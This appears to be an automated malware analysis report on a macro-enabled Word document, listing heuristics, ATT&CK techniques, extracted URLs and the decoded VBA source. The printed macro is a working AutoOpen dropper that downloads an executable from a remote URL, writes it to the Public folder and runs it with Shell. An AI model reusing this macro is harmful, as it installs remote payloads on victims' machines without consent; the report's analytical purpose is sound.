MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen function that uses CreateObject to download a file from a remote URL and save it as 'C:\Users\Public\file.exe'. It then executes this downloaded file using Shell() and attempts to launch 'C:\Users\Public\DesktopGoose v0.3\GooseDesktop.exe'. This indicates a clear intent to download and execute a second-stage payload.
Heuristics 7
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
x = Shell("C:\Users\Public\file.exe", vbNormalFocus) -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
bStrm.Write xHttp.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim xHttp: Set xHttp = CreateObject("Msxml2.XMLHttp.6.0") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1fReferenced by macro
- https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1f�Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1545 bytes |
SHA-256: f9bad1c5119caa2f93b6c5d95c576e7cf211f40de98a1095b162fdb8e4a84705 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Msxml2.XMLHttp.6.0")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://w3g3a5v6.ssl.hwcdn.net/upload2/game/558218/1957163?GoogleAccessId=uploader@moonscript2.iam.gserviceaccount.com&Expires=1621701023&Signature=OHoWiP2Ptx8LdQoeaYb4B%2FOr%2BL8%2BQn6awmwW%2FBaZcqfIjuQSQlc45i7lzMY42XFW2qw23upYL%2Bw%2FKTmMqE6pWiADMhAh%2B6%2FSnVSDtMYw8IdGi6kERzm5PPBm1s3IPPo8nXbiJAvaYGvnxF3S1cw49dNVIPA7KFnE%2BVDRQ2vtYiJ7FAr0TXaIGtiTg35UkKwzJ1FNqD6VJAMoNDtKPYiht1MxHpkm62FBjStfIHvxwMiCvsgNOr01zR999Ht%2FoFB3uEqekpF5dSssHDHMzRtl0GgMM7Cga1VttK%2FYlbDO9aONcmVMkMHhvUn1fJ94FldWFQxXaopeAzhgWPpoQmGzpw==&hwexp=1621701283&hwsig=6a335ddf4851181eee197cd66efbca1f", False
xHttp.Send
If xHttp.Status = 200 Then
bStrm.Open
bStrm.Type = 1
bStrm.Write xHttp.responseBody
bStrm.SaveToFile "C:\Users\Public\file.exe", 2
bStrm.Close
End If
Dim x As Variant
Dim y As Variant
x = Shell("C:\Users\Public\file.exe", vbNormalFocus)
SendKeys "+{ENTER}"
Sleep 3000
y = Shell("C:\Users\Public\DesktopGoose v0.3\GooseDesktop.exe", vbNormalFocus)
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 16384 bytes |
SHA-256: 08e71c3d2a10dcf5072a0d912462781ae98ecaf2067e936407445eeceedbd82c |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.